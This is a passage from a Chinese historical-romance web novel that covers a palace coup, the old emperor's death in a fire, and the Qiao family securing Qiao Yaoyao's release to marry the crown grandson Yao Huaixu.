北郡城外营地南面十里处支了个茶棚子,乔亭雪一身轻装坐在最里的矮桌旁,倒茶的店主笑呵呵将热茶浇在碗盏中,白雾升腾,热气扑面,旁边候着上茶的店小二也是笑嘻嘻的。
两人一副好相与模样,就是这店家和店小二体格健实,寻常人看不出来,可练家子一瞧便知道有些本事。
袖子半挽,古铜色的臂膀结实有力,人还没来,乔亭雪忍不住打趣道,“旁人瞧瞧你们这就和个黑店似的。”
小六爽朗一笑,“将军,那也没办法呀,谁叫咱勤奋呢!”说着就弓起来自己的肌肉给乔亭雪展示。
小五将碗茶送到乔亭雪面前,边放边道,“可不是,这黑店咱也就开这么一天。不过,将军,如果是伪装您叫了军营里其他弟兄个扮得更像些不好吗?我俩这一瞧”
小五指指自己再指指小六,“一瞧就是黑店。”
“哈哈哈哈哈哈哈哈”
小六的胳膊搭在小五身上,理所当然道,“哥哥,你懂什么?这叫将军器重咱俩。”
乔亭雪抿茶赞赏地看了他一眼,“今儿来的这位用不着,做做样子就算了,没人当真。”
“再说了,平常有什么往外跑的活儿不属你俩积极?”
小六嘟囔道,“这怎么能一样?那是去集市上代买东西,这是卖力气盖棚子。”
小五给他也倒了碗茶,放在他面前时水都洒了出来,两三点迸溅到小六衣服上,“喝茶都堵不住你的嘴。”
乔亭雪揶揄道,“怎么开店的还喝茶。”
“开店的也得吃喝拉撒不是~”
乔亭雪靠在身后柱子上,听这俩人拌嘴,难得放松,眼睛舒服得眯起来,耳边听到隐隐绰绰的声音,又听见小五严肃道,“将军,人来了。”
“嗯。”
马蹄声越来越响,接着是勒马声,几人下马逐渐靠近茶棚子,乔亭雪歪着头闭眼数脚步,并不凌乱,独自各有特色,嗯,约莫是三人。
“客官,来碗茶吧!天热喝了茶歇歇脚才好赶路!”
小六热情吆喝,只听其中一人应道,“那便上一壶和这位公子一样的热茶。”
声音有些耳熟,话音刚落乔亭雪就感觉到那三人在她这张桌子旁落座,小五小六笑呵呵去忙叨茶。
“阿姐。”
乔亭雪还没睁眼。
又叫了一声“阿姐”,乔亭雪才慢悠悠看向左侧的人,“起来。”
费承风不敢讲二话,立马乖巧立在一旁,乔亭雪双手环胸,上下打量,嘴角勾起笑
“公子怕不是认错了人?”
“阿姐——”这声音就像是蚊子嗡嗡叫,从喉咙里挤出来似的,嚅嗫着发出来。
“阿姐,我错了。”
“错哪里?”
“错在……不该不辞而别,让大家担心。”
乔亭雪眼中并无半分厉色,摆摆手,“滚过去站着。”
各有各的难处,就这么掀篇了。
费承风老老实实站远了些,桃肆和姚淮序就没见过费承风这么老实的模样,桃肆年纪小,更是表现明显,姚淮序用手抵住鼻子不自在的咳了两声。
小五小六互相对视一眼,笑的贼兮兮,一个将碗摆开,另一个用茶壶时高时低地倒茶,许是生疏,这茶水点子全溅在姚淮序和桃肆两人身上,乔亭雪倒是半点不沾。
桃肆蹙眉,不悦抬头看向小六,小六还是那副笑呵呵模样,正要发问时姚淮序将手搭在他胳膊处,随后温和道谢。
小五端起其中的一碗,咧着嘴递给费承风,“公子喝茶?”
费承风眉飞色舞地正要接手,余光看见乔亭雪的眼刀子又讪讪缩回来,“不了……不喝了。”
“店家辛苦给你倒上,你不喝是什么意思?怕店家给你下毒?”
费承风夺过茶碗一饮而尽,声音洪亮道,“好茶!甘甜味美!”
纯纯马屁精,这不过是普通到不能再普通的茶,甚至有些次,小六撇撇嘴,还是这哥们儿谄媚,马屁精。
乔亭雪说完又靠在身后的柱子上假寐,姚淮序扭头去看费承风,只见费承风一个劲儿的给他使眼神、挤眉弄眼示意他,“你说啊!”
姚淮序硬着头皮开口,“乔将军……别来无恙。”
没有回应。
但第一句开了头之后就轻松许多,“之前情况紧急,在下迫于无奈隐瞒身份住在贵府,多有叨扰,也令尊夫人费心。承蒙……”
“话多,讲正事。”
乔亭雪眼睛明亮,姚淮序难得生出几分囧然。
“你刚从盛京出来,就讲讲盛京现在的局势。”
姚淮序了然,用手指蘸水以桌为布就势分左右两派,渭泾分明。
“这左为梧帝,右为沈祀安。面上瞧着左右互通为一派,实则□□已生出异心。”
“你如何瞧出?”
“桩桩件件,方方面面。”
乔亭雪正经直起来身子,“还知道什么?”
姚淮序犹豫片刻,在右边又画一小圈,中间写着乔家,“乔家现在和沈祀安绑在一处。”
乔亭雪同样拿手蘸水,接着在小圈外面又画一大圈,画完之后用食指有节律的上下敲打。
“是,也不是,沈祀安将乔家同北郡的来往切断了,我现在对于盛京的了解仅限于上月天成送来的信。”
“不过他也聪明,这月的信已经送达。”
一张叠得方方正正薄纸放在桌面,绕过水渍推至姚淮序面前。
“乔家兵分两路时便约定好,每封信最后的问候大有门道,这封……瞧着与其他并无二样,可最后的暗号却大相径庭。”
姚淮序蹙眉,上面讲得确确实实是盛京的境况,只不过有的只讲前半截,有的只有后半截,最关键的全部被抹去。
他讲信反复读一遍,讲其中细致未写之处全都告诉乔亭雪,乔亭雪默默听着不说话,小五小六在一起挤眉弄眼嚼小话,
“这个是谁?和费家公子哥儿一起,不过说起来费公子哥儿可真是有阵子不见了,听说出了费府那档子事……一言难尽,那些哄哄百姓还成,要我看,有鬼!”
“要你看?你当自己多大能耐?”
“诶你说,这人眼不眼熟?”
“眼熟个什么?”小五翻了个白眼转头悄悄打量,去岁在军营见过!
“当时和三小姐一起的是他?!”
小六错愕,“大胆!”手上失了分寸打碎一个碗,乔亭雪不轻不重抬头看他们两人一眼,又扫了一眼地上的碎片,费承风眼疾手快蹲下去捡碎瓷片,小六咬牙小声道,“马屁精!”
乔亭雪没管那处,转头看向姚淮序,“乔沈两家联姻。”
姚淮序打断,“乔将军,沈家不一定是最好选择。”
乔亭雪慢悠悠靠后翘起右腿,玩味道,“何以见得?”
“论权利,锦州太孙妃与侯爷夫人相比明眼人一眼就知道;论钱财,瓢饮之水比不上瓦瓮海量,湖泊远胜洼泽。”
小五小六惊掉
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眼珠子,哆嗦着嘴唇不约而同道,“太孙妃…妃?”
乔亭雪摇头,“不行,若是贪慕权势,入宫岂非更好?凭借我家元娘样貌才智得宠如同探囊取物,可宫心斗角,她不喜欢;若是钱财,锦州或是盛州富商可靠、家世清白之辈更甚,且官家拿捏寻常商贾更是手到擒来。”
“太孙殿下,这不够。你可知为什么今日我同你坐在这里讲什么?我又凭什么信你?”
乔亭雪的嘴角上勾,眼中狡黠难藏。
“沈祀安为人狡诈……”
乔亭雪打断他,“殿下不也是吗?掩藏身份,这笔账,乔家可从来没给你算过。”
姚淮序笑了,对方就是故意的,他知道她想听什么,不疾不徐,生出几分闲情雅致,端起杯中的茶,细细品味。
实属下品,不如牛饮。
“是因为元娘,我承得全是元娘的情。”
……
三碗茶过后那更剖白心迹的慷慨陈词仍旧没说出口,乔亭雪见好就收,两人共定下约定,费承风早就和桃肆同小五小六坐在另一张桌子处吆五喝六地聊着各自趣事。
个把时辰消磨掉,那三人重新启程,乔亭雪站在棚子外目送,黑褐色的劲装勾勒出腰身,高掉的马尾扫过护腕,迎着落日面相盛州方向,
“小五小六。”
两人齐声喊,“到!”
“瞧,下一位朋友,到了。好好伺候,今晚天高气爽的,郊外睡着舒服。”
“是。”
小六看着云散成一块一块慢慢变暗,咽了咽口水从桌兜里拿出泻药,放了四分之一,觉得不够,又放了四分之一,随后干脆全倒进去,拿手舀混匀。
乔亭雪坐了回去,小五在棚子不远处卖力喊着,“客官,来喝完茶吧!热了一天累了一天,就该来碗凉茶了!”
曹倸抹掉头上汗,问道,“有凉茶?”
“诶!不敢骗您!”
侍从刚想去劝,谁知道一眨眼这位曹大人已经坐在了棚子里。
……
乾清殿后设有卧榻,梧帝假寐时沈祀安伺候在一旁,先皇后的七七之日也已过去,宫中的白幡尽数撤下,重回往日金碧,却也萧瑟。
又添了一处空宫,坤宁宫。
“人还关着?这两日乔家寻朕放人出宫都叫朕寻了由头拒了。你查这么多天,没找到凶手也该查出来她有没有参与,平白无故扣着也不像话,真舍得?”
沈祀安拱手,“是陛下,臣立马去办这件事,不会让陛下等很久。”
梧帝摆手,“不是我等着,算了,你去吧。”一瞬间仿佛苍老许多。
沈祀安躬背后退随后转身大步流星离开,福公公忍不住和梧帝说了两句,“这两日乔姑姑算是受了难,不过也算是苦尽甘来了,日后也要顺顺利利的才好。”
梧帝将手伸出床榻,“怎么,可没听过你对哪个丫鬟太监这么上心。”
福公公赶紧接住诶呦喂一声,“陛下这不是折煞奴才嘛!”他垂眸,辩上两句,“只不过是每次看到乔姑姑奴才心里感慨。”
“感慨什么?”
“奴才能陪着陛下的日子不多了,想当初刚到陛下身边时奴才也不过是乔姑姑这个岁数,一晃四十年过去了,奴才感慨时间真是看不见也让人抓不到的东西啊!”
“福公公。”
“奴才在。”
“皇后最喜欢月季,你挑着给她送两盆最漂亮的。”
福公公蓦然红了眼睛,连声应下。
58. 疯子
乔杳杳马上就要出宫,已经到了玄武门时果不其然看见了拦人的徐显,他笑眯眯的,却不留半分情面。
“乔三,听我句劝,外面比里面乱,乖乖回去吧。”
乔杳杳冷笑,“徐大人,我往日可有得罪你的地方。”
“并无。”
“乔家可有得罪你的地方?”
“没有。”
“那这是为何?今日宫中大乱,小侯爷允我归家,徐大人何故阻挠?若是别人就算了,徐大人......连我也不认得了?”乔杳杳的声音染上怒意,横眉冷对。
徐显蹙眉轻踢马腹,马儿来回踱步,他驾马绕她走了一圈,然后弯腰低声道,“不是我不想放你,只是他说了今日恐有叛军浑水摸鱼偷溜出去,让我守好这处,若是放出去一个人,我可是要军法处置的。乔三,你别为难我了。”
乔杳杳心凉到谷底,这个他说得是谁他们心知肚明,他就是要把她留在宫里。
————
乾清殿中梧帝躺在卧榻上止不住的咳,手帕子上沾血,福公公伺候他用温水漱口,担忧道,“怎么咳得如此厉害?”
“外面闹什么?吵吵嚷嚷的。”
“奴婢这就叫他们小声点。”话音未落又是一声“杀”,梧帝愣了一下随即笑道,“不用,他人到哪儿了?”
福公公已过半百,比梧帝更显老态,他颤颤巍巍、小心翼翼道,“刚过玄武门。”
“还挺快。”
福公公慌忙叩首,“禁军正在拼死抵抗,相信不久就能.......”
梧帝笑道,“朕又不傻,福公公糊弄谁也不能糊弄朕,不是吗?”
福公公胆战心惊,早已泪流满面,跪行至梧帝床边,梧帝早就重新躺下,声音从纱帐中传来,“福公公,叫了这么多年福公公朕都忘了当初你叫什么了,哈哈哈哈哈,终于是......咳咳咳......”
梧帝吐了一地血,他随手抹掉然后单手撑在床侧,福公公上前帮他把枕头靠好,他倚着拾起话题继续问道,“什么时候下的毒?”
福公公跪在一旁,哽咽得不像话,“陛下......”
“咳咳咳......做都做了,再哭着喊着也就不合适了。”
“午时。”
“是香啊。”梧帝闭上眼,出乎意料的平静,也或许是早就预料到了,“行了,把你那鼻子一把泪一把的擦擦,像什么话。”
福公公默不作声用袖子净面,但眼泪就像断线的珠子,怎么也擦不干净,梧帝望着宫殿的顶上方,青瓷黄壁雕琢出数十条游龙个个张开龙口去追逐最中间的那颗珠子,五爪或拢或张,龙须悠长飘扬,威严肃穆,灯火照映下更显金碧辉煌,他一边望着一边感慨,开始追忆往事,回想这走马观花的一生,他还记得什么,又剩下了什么。
除了福公公,殿内没有其他人,他也就想同他说说,都到这会儿了,什么秘密呀、面子呀、威严呀通通都不值钱了,不如一吐为快,让自己舒坦舒坦。
可未语他就先笑,“临到头想和你讲,竟没一件能够说起的,你说......皇后会怪朕吗?”
有颗泪从他眼角滑进枕头里,他翻身不去看福公公,“烛火太亮,有些晃眼。”
福公公依言吹灭几盏,殿中一下子暗了下来,只余些微弱灯火摇曳着,等了一阵梧帝什么都没说,福公公恭恭敬敬跪在地上,依旧什么都没说,于是他叹了口气,声音又缓又轻,像多年前不受宠的梧帝深夜高烧不退他伺候在旁,为他诵经那会儿,
他说,“陛下,是老奴对不住陛下。”说着说着他就又哭,“每次看见小侯爷奴婢就觉得好像是看见了当年的沈二公子......陛下,老奴有时候在夜里,也会害怕......奴婢没什么难言之隐,只是希望最后能陪陛下再走一程。”
福公公不知道梧帝每次看沈祀安的时候,会不会......也有几刻恍然。
许是有的吧,他说,“太暗了,你把灯点着了,就走吧。”
福公公起身,端着九龙灯盏将四处垂下的纱幔点着,然后再将灯盏放回原位,火舌在殿内飞舞,
“奴婢陪着陛下。”他重新跪了回去。
声弱如丝,最后梧帝微不可察地说,“天道轮回,终归是命,谁也逃不过,有什么后悔的?”
不后悔这半生,终归是他活得久些。
福公公这人,承多方恩情,到最后,他也不知道自己到底算是哪派人,他帮沈祀安兵变,又背着沈祀安保留了梧帝最后的体面。
他掺杂了太多,都融进了火里,接着火愈燃愈大,直至将乾清殿完全吞噬。
一阵风过,火光冲天,似乎在为一个帝王哀嚎,又似乎是为他壮势。
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乔杳杳往回折返,穿过御花园,再往前走便是乾清宫,两派禁军交战打得不可开交,血腥味盖过花香,漆黑中有人抬眸,准确无误抓住她的身影,额角的鲜血顺着轮廓聚集在下巴继而凝成大的血珠滚落。
他慢条斯理的擦着刀刃,很明显,他是这场厮杀最后的胜者,身旁还有津晖,只不过他已经倒地不能再言语,沈祀安瞧不出异样,他大马金刀地坐在假山上,居高临下,声音嘶哑问道,“去哪儿?”
活像一个饮血止渴的阎王。
“沈祀安”
乔杳杳偏开眼睛不去看津晖,只是平静道,“你没想让我走。”
“我给你机会了。”
乔杳杳不再好脾气,眉间的暴躁难以掩盖,捡起地上的剑直指他,“用我要挟乔家?何必做到这个份上?”
她的呼吸越发急促,乌云散去大半,月光洒下来正好落在银刃上,反折出乔杳杳的小脸,带有几分倔强。
“哪个份上?”
沈祀安这会儿露出一副无所谓的态度,“乔三,过了今晚,盛州就要改立沈姓为王,梧帝的罪己诏明日将传遍大街小巷。你要搞清楚,现在是在和谁说话。”
他单手支在膝盖上,另一只手吩咐下属收拾打扫,身体前倾,完全无视那长剑,
是啊,他从来都是身处高位……
“我给你过你机会了。”
“是你自己不要。”
“接下来……”
他看了一眼乾清宫,然后朝她伸出手,“你要和我一块儿进去了。”
“我叫你好好看看,这究竟是个什么样的人,还叫你心存侥幸,生出不该的妄念。”
“想要什么,只能靠自己得到。”
“你什么意思?!”胸腔中有什么东西在翻滚,马上就要将她灼烧掉,乔杳杳还没有真的昏头拿剑刺他,她只是依旧傲然挺立在那儿,像只骄傲的孔雀。
可这点在沈祀安眼中根本不够看,他轻而易举就能把她制住,就像溪月郡时一样,乔杳杳脑子里炸开了话儿,岩浆迸溅。
所有人都是骄傲的,姚淮序是,沈祀安是,她乔杳杳同样是。
没有人一而再,再而三地接收这种被迫,接受这种“屈辱”。
“小侯爷!乾清宫着火了!”
所有人不约而同纷纷寻找乾清宫的方向,在他们心中,那里装着至高无上的至尊宝座,除了沈祀安和乔杳杳,两人仍旧对视着,一个不服输,一个便硬是要看她妥协、低头。
沈祀安抬手随意挥了挥,漫不经心道,“别让火势再大,是死是活,都行。”
说完他拦腰扛起乔杳杳去往最近的康宁宫,周围禁军没一个人敢打趣儿。
平日里乔杳杳自己走也要两刻,可被沈祀安扛着又颠簸不到半刻就到了,他把她放下第一件事情就是去扯她手腕上的红绳,那是姚淮序前几日送到乔府的,是一条新的,崭新还裹挟了他头发的。
乔杳杳不肯,咬住了沈祀安的虎口,血腥味一下子涌到脑子里,一时间分不清楚是她太用力咬破了还是沈祀安杀的人太多了沾染的。
沈祀安任由她咬着换另一只手轻而易举扯掉随后把她摁倒在墙上,让她丝毫动弹不得,现在才是他们两个真正的撕破脸。
“梧帝的账算不清那就算算你和我之间的账。”
乔杳杳眼神同样狠厉,“什么账?我都没找你算账,一笔笔的……”
“乔三你怎么就学不乖?嗯?嘴上说着一套做这一套?”
“也是,你不一直都这样
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吗?收了我的好处还要拿他的,你怎么这么贪?”
他掐着她的脸颊胁迫她仰头,姑娘脸小,两颊的肉软软被捏得鼓了起来。讲话含含糊糊听不清楚,沈祀安本来也没想听她什么,他只是觉得看她现在这个样子心里愉悦得紧。
一笔笔的账,什么账?他要她心里眼里只能是他,沈祀安已经杀红了眼,梧帝自尽是压垮他的最后一根稻草,他到最后也没听见那人亲口说声,“愧对沈家上下。”
乔杳杳呢?她也是狼心狗肺,忘恩负义之徒,唯利是图,她答应了帮他同他站在一处可胳膊肘却仍旧往外拐,那她所珍惜的关于那个人的,他都要毁掉,他得不到的,别人也休想。
“你以为自己瞒得很好吗?”
“乔三,是你逼我这样的。我曾经待你好的时候,你不信,那剑射在哪里了?”
他手指点上她胸口,“这儿吗?”
伤口早就愈合但沈祀安的手指上去的时候乔杳杳忽然就觉得胸口一紧,刺痛的厉害,心脏猛缩,她挣扎着腾出一只手扇了沈祀安,声音清脆。
明明不是委屈是愤怒,可这些话说出来的时候她还是没忍住哽咽,“你简直是痴心妄想,痴人说梦!我逼你什么了?!待我好?哪里待我好?看我苦苦哀求你还要扣押我兄长挫伤我们自尊的时候是为我好?你不愿做偏推了我兄长去得罪崔家是气我好?明知险境故意要闯设计试探我看我为你挡箭是为我好?算计皇后娘娘逼她自杀将我软禁是为我好?”
“一面和我父兄说将我送出去骗的他们配合,一面派了徐显在玄武门拦我,是为我好?”
乔杳杳声嘶力竭过后,泪从眼角滚落,她泪眼盈盈,自嘲道,“还是说,拿那些寻常小惠贿赂我是为我好?”
“沈祀安,这都是你想要的,皇位、权势,这都是你想要的。因为这些你想要的我们为你忙前忙后,津晖更是替你挡刀死在御花园。”
“恨意?是你的恨意滔天。”
沈祀安拔高音量,怒斥道,”闭嘴!“眼中猩红更甚,乔杳杳才不在乎。
他永远是这样,高高在上,用上位者的姿态、语气口吻,觉得一切都是对她的施舍,她就合该接受、感恩戴德。
这从来都是错的,对她来说,对乔家来说,从来都不公平,乔家也乃良将,她也是府上的三小姐,可她却要被算计、被威胁、被制着看自己的兄长被压在地上……
她也不要忍了,乔杳杳看清楚沈祀安这个人了,他只会觉得这是他应得的,天潢贵胄,眼高于顶,他把她当什么?把乔家当什么?
她是算计了他,那又如何?他最开始就是凭借算计、威胁将乔家扯下水的吗?这点又算什么?他最后不也是将登大堂,富贵加身,滔天权势尽收囊中吗?
姑娘拂去他的手指转而用自己的手指代替一下比一下更重地戳在他心口。
“我从来都没有说过要这些,乔家只是答应了要同你平反,剩下的不一直都是你在谋划吗?我们睁一只眼闭一只眼是觉得你聪慧、你的才略堪当大任未必不行。”
“你都得到了你想要的一切,有什么不满?”
“够了!”
乔杳杳仰头问出最想问的一个问题,“什么够了?这才说了几句?我乔杳杳有什么对不起你的?乔家有什么对不起你的?你不去找那些真正欺负沈家、欺负你的反过来同我们撕咬。”
她的手一下比一下重,面上毫不显只是语气越发冰冷,
“为什么不放过我呢?”
两个人都很狼狈,谁也没好到哪去儿,沈祀安眼角殷红,努力克制,脸上还是血迹斑斑,他发了狠拽住乔杳杳的手腕重新把她压回墙上,
低头即将碰触的一瞬间姑娘只留给他不屈、不甘、不愿的侧脸。
明明是示威,说出的话却像施舍,里面隐隐约混杂着他都不知道的祈求,“来日昭昭,乔三,这是你欠我的,你要想好,做我的皇后日后便是同我平起平坐,你若是不愿,便只有宫里姑姑的职位,孰轻孰重,你可要考虑清楚。”
乔杳杳转头又侧首,不愿看他这副嘴脸,同他论辩,根本说不出个上下。
“疯子。”
60. 遂得人愿
翌日乔府的软轿大清早就候在了玄武门外,这扇门她来来回回走了不知多少次,蓦然站在这里还有几分茫然,不过这应该是最后一次,她离开的毫不留恋,毅然决绝。
乔青松和乔亭雪一身劲装,伸手将乔杳杳接了个满怀,乔亭雪一下又一下摸她的乌黑头发,有种恍如隔世的感觉,心中百感交集,乔青松不满道,“阿姐也太偏心了吧!”
“那你过来我替阿姐摸!”乔杳杳跳着去够乔青松的头顶,乔青松弯腰躲过,才不让她得逞,“快拿走你的脏爪子!”
“不脏的!”
乔青松看她绕了圈蹦高也够不着,干脆跃上马坐在高处,得意洋洋道,“想得美!”
气氛缓解,听取笑声一片。
乔青松身子往后仰,“好了,爹娘在家里等你,上车回家啦!”
“好!”
“小姐快来快来!”沉月欢欢喜喜地将她扶上马车,乔杳杳一掀帘子笑容僵在脸上,还未来得及说话马车里的人却抢先一步垮了脸,伸手将她拉至身前,委屈巴巴道,“怎么这么个表情?”
乔杳杳顾不上回答慌里慌张直接从马车窗户探出脑袋,活像个顺溜泥鳅,乔亭雪看妹妹目瞪口呆傻乎乎这小样子扭头同乔青松相视一笑,拿指尖点住乔杳杳的额头往回推。
沉月捂嘴偷笑,在一旁帮着把帘子整理好,深蓝色布料重新垂落,车厢内的两个人大眼瞪小眼,乔杳杳眨巴两下眼睛,姚淮序眉眼弯弯,朝她摊开手掌,乔杳杳歪头眼睫颤啊颤,试探性地将食指同他食指相对,然后慢慢地把拳头放在他的掌心,姚淮序依旧笑着,坐得与她靠近了些,姑娘眨着眨着随后仰面问道,“你们是用了什么办法?”
“天机不可泄露。”
乔杳杳蹙眉,“阿姐是无诏回京,若是被抓住什么把柄……”
姚淮序无奈笑着叹了口气,“你不应该更关心我吗?孤身一人闯这龙潭虎穴我不应该才是最危险的吗?”
姑娘卡壳一瞬立马换了问法,“你有没有受伤?你同他讲了什么突然就让他改了主意?就算搬着二十年前的那道两国誓约他也能寻了由头给你推掉,他威胁了你什么?”
姚淮序故作深沉,看姑娘蹙眉即将要挥拳时才爽朗一笑,潇洒道,
“不,是我威胁他。”
“我同他讲,若是他不愿意放你出宫我便出兵,不死不休。”
“我若是死在盛京,那锦州便倾尽举国之力,换乔家元娘平安喜乐不困于高墙。”
乔杳杳撇撇嘴刚想说“这是骗鬼呢吗?!”
可是她看着姚淮序的那双眼睛愣是说不出来,话到嘴边拐了弯儿,“当真?”
乔青松在马车外早就按耐不住,耳朵一动,率先朗声道,“素日里收敛着、宁静的像一潭有风也不起浪的泉水,结果这泉水让人投了颗石子便风云翻滚,搅动得浪海滔天,再一看,哪儿是什么潭水,分明是湖海汪洋。”
也不知是称赞还是打趣,他轻笑一声,在马上悠悠晃晃意气风发,讲起来绘声绘色,“阿姐和他从北郡传信叫我备好嫁妆,我还纳闷,无缘无故让人摸不着头脑,后来让人一听,哈,简直就是个馊主意!”
笑声环绕盘旋穿过树枝惊动喜鹊,光洁的羽毛的在日光下熠熠生辉。
他继续道,“我同父亲前脚刚七零八落扒出来咱家宝贝物什备好彩礼单子,还在想下一步作何打算,谁知道这俩人单枪匹马就杀进了盛京城,从城西策马直奔玄武门,收到消息的时候人已经进了宫。”
单是讲讲回忆当时的境遇乔青松便热血沸腾,血液从底往上逆流,又酥又痒,半是兴奋半是紧张,姚淮序大胆不按常理瞬然点醒了乔家的傲气,醍醐灌顶、恍然大悟,并非不争也并非不能争,只是他们都太困囿于“盛州乔家”四字,白白蹉跎了血性,回过味儿来竟是一直让人牵着鼻子走。
这是一步死棋却也是一步活棋,全然看沈祀安怎么办,可姚淮序比沈祀安还要大胆,以命入局,谁怯了谁便输了。
说来姚淮序可比他们自私的多,哪管什么身后事,烂摊子又如何?他豁了出去,却得到了主动权。有人看不懂,认为他所倚仗的无非就是太孙这一身份,单单这一身份日后便是一方霸主、坐享荣华富贵,但其实皇家那么多人,这么不理智、鲁莽的就算聪慧日后也并不是没有其他人顶替,皇家子嗣多是件无可厚非的事,胜者才是血脉纯正之人。
但他赌赢了,这是各自权衡利弊之后的最好结果,不,这是他们权衡利弊之后的最好结果,姚淮序从一开始便只有一个目的,只想要乔杳杳一个人,他从没权衡利弊,只是随心所动用已有的全部筹码换取再一次得到像北郡的那段时光。
他有很多束缚、枷锁,但这都没困住他,他的胆量支持他的野心获得了全部,这是他想要的,这是他应得的。
观音像却是煞罗命,天生的悲情孤绝,或许让老天也看不下去忍不住垂怜。
乔万屹困于盛州二字,乔家三位小姐公子困于乔家二字。
可人这一辈子,无非是为爱、为家、为国,若是连守护什么都不知道,也没有任何与之羁绊的、牵挂的,那未免太过孤独。他要一个人在这黑白交织、权谋假笑日子里走到天光大亮,太难也太残忍。
气氛有些沉闷,在场的哪个都是玲珑心思,这时候最无所谓的反倒是姚淮序,还有心思给姑娘捋直裙摆后面的两道皱褶。
沉月突然想到了什么,小声提醒道,“太孙殿下礼数齐全周到,大小姐还以娘家人的身份拿回家两只大雁。”
“哈哈哈哈哈哈哈”乔青松笑得直不起腰,一行人又一下子热闹起来,他颠着马凑近马车,告状似的,“你都不知道,当时母亲看着阿姐提溜着两只大雁回家的时候整个人都愣在原地。”
乔杳杳已经有了画面,两人两雁伫目而立,马车上的人乐出声,就连姚淮序也以拳抵唇,侧过脸溢出几声笑。乔亭雪嘴角上扬,一点也不脸红羞涩,大大方方气宇轩昂正如那句,此间少年意气风发,倚马仗剑,快活潇洒。
笑到这处乔青松借着机会半开玩笑半认真道,“太孙殿下,我家这位小小姐娇气难哄事多,但她也真诚烂漫善良。你若是不喜欢了、厌烦了便捎个信,和离了就行,不怪你,我瞧她呀~也烦!”
他是笑着的,神采奕奕,但内里的撑腰之意昭然若揭,颠着马一下一下的,忍不住又道,“元娘嫁你一方面是权宜之计,另一方面也是瞧你待元娘真心,但您也要记得锦州并非山高水远的地方,若是日后同元娘之间有了间隙,乔家就算剩最后一个人也要接她回家的。”
乔杳杳半掀遮帘探头去看乔青松,有光很是晃眼,她就伸手去挡然后还没瞧真切就让乔青松打了脑袋,不痛,姑娘撇撇嘴缩了回去,她才不想看哥哥这副小人得志的嘴脸,偏了的话题再次回拢,“那位可提了别的条件?”
乔亭雪说“并无。”乔青松亦是打哈哈随手一摆,接着讲大话,“可真是给父亲吓一跳,人不可貌相啊!对吧元娘。”
乔杳杳回头看他,嘴唇一勾,“就是啊~”
姚淮序无奈地笑,启唇无声道,“放肆。”
风把乔亭雪的发尾吹起,长身玉立,略带着骄傲讲,“乔家世代忠良,锦州国力雄厚又有交好之意,若是不应便是短兵相接,刚历经宫变又遇外敌,盛州,可经不起这么折腾,另讲良将寒心、忠臣寒骨,若是军心不稳便会不战而败,孰轻孰重,陛下自有决断。”
姚淮序撑着下巴看对面的人,乔杳杳笑了,真是土匪做派。
她之后私底下问阿姐怎么同意姚淮序的,乔亭雪想了很久,有些恍然又有些感慨,最后摸着她头说,
“其实他人还不错,不管他之后要不要同你过闲云清茶的闲散日子你之后的路也要比在盛京好走许多,你的背后是整个盛京,就算若是想要待你不好也要掂量掂量,况且阿姐瞧你更喜欢他多一点。
说到底如果没有他的这份执着、痴情和非你不可,那么乔家早就是沈祀安的囊中之物,从一开始答应回盛京那天就注定了乔家这辈子都要在那里,哪怕我在北郡可鞭长莫及,要是真到了哪天他不仁,要挟着你们就算我带兵造反也没有结果。
也是他点醒了我,点醒了父亲,何为忠臣?为官不祸害百姓,恪尽职守兢兢业业;为主不失自我,衷心奉主亦有主见。
是为百姓不错,可也要为自己,这官不能跪着做,这脊同这房上的梁一样,弯不得。若是为主奔走还要被胁迫,就连自己家人都护不好,那不如不做。”
她说,“他算死了乔家,算死了我们注定彼此牵挂,而姚淮序则是意料之外的那个变因,让你嫁给他是我们能权衡出来最好的一种结局和方法,元娘啊,乔家困在了盛京里面,你就别困在那个吃人的后宫了。”
“为国为民也要为家。”
那会儿是她成亲后三年,过得还不错。
而乔亭雪则是任北郡统领的第一年,盛京无人不知玉面阎罗乔统领。
......
青来在宫墙上看着马车渐远,小声提醒道,“陛下,该回了。”
沈祀安未置一词,却也没再回头看。
夜晚的宫城是寂静的,他处理完政务遣退众人只留青来一个,还没用晚膳,又叫人备了小食,斟上酒,一杯下肚后随意道,“没外人了,过来陪我喝两杯。”
青来摇头婉拒,沈祀安不悦地渍声道,“装什么装?端什么臭架子,快点!在别人那里惯会装温顺,到我这里明里暗里摆架子,嘴上说着不敢不敢,但你青来才是这群人里面,胆子最大的那个。”
也不知他说的是哪件事,青来翻了白眼,将拂尘规规矩矩放在书案上然后坐在他对面,自己伸手将杯子倒满,埋怨道,“抽什么风?吃错药了今儿?”
“你有病?”
沈祀安说着就夺他的酒,却被躲了过去,他也没想真抢,就此作罢,两个人就这么有一搭没一搭地胡乱聊着,酒过三巡后都有些上头,沈祀安边转酒杯边道,
“当年这一群人里,你年纪最小,却也最狠,只身就敢进来往外地递传消息,那会儿没有其他可信之人,这一递就是十年。”
青来舔了舔嘴唇,“匹夫之勇,没什么用。况且,”他歪头看他,“你和我之间,同我煽什么情?我可不是爱听你这些絮叨的,自有大把温香软玉想做你的解语花。”
沈祀安忽然调转话头,“那香囊里的梨花,是你装的吧。”
“不是。”
“那你为什么回来?”
他忽然直视青来的眼睛,目光灼热,好像能叫一切谎言都无处遁形,青来同样盯着他。
他说,“走了谁跟你在这吃人的宫里慢慢熬着?”
沈祀安笑了,将杯中的酒一饮而尽,“我以为,只要坐上这个位子,就好了。”
青来接着说,“结果发现空落落的”,他给两人斟满,“大仇得报,梧帝罪己诏一出整个盛州都哗然,就连你这宫变都夸成老天有眼,沈家一时之间声名大噪,重新正名,但是你却发现,自己心里,空落落的。”
沈祀安没承认,也没否认,听他接着道,“登上了这个位子,结果发现身后空无一人,皇后娘娘用自己的死推了你一把,她向来爱的是沈家二郎,你不过是承沈家的情;徐显,不,箫……算了,还是叫徐显吧,叫这么多年还是徐显顺口。徐显他虽然和咱们是一伙的,可人天天留宿宫里陪你?”说到这里青来自嘲地笑笑,沈祀安不耐烦地又渍了一声,只听他毫不在乎地添上一把火,“况且因为霁月的事情人颓丧到现在还没走出来,欠了一屁股风流债倒不想是个真痴情。”
沈祀安不在乎地笑,嘴角上扬问道,“劝我广纳后宫?呵,尽显得你通透,怎么不说说你自己。”
桌上的小菜没动两口,酒倒是喝了不少,这会儿他已经迷迷糊糊有些发愣,眼神略迷离,撑着桌子慢慢站起然后开窗坐在了窗柩上,月亮洒在他身上,风从外面吹进来吹到他脸上,还存有几分少年意气风发没有全然消贻殆尽。
声音传到青来耳朵里,“你说她在做什么?”
青来不用多想就能说出来
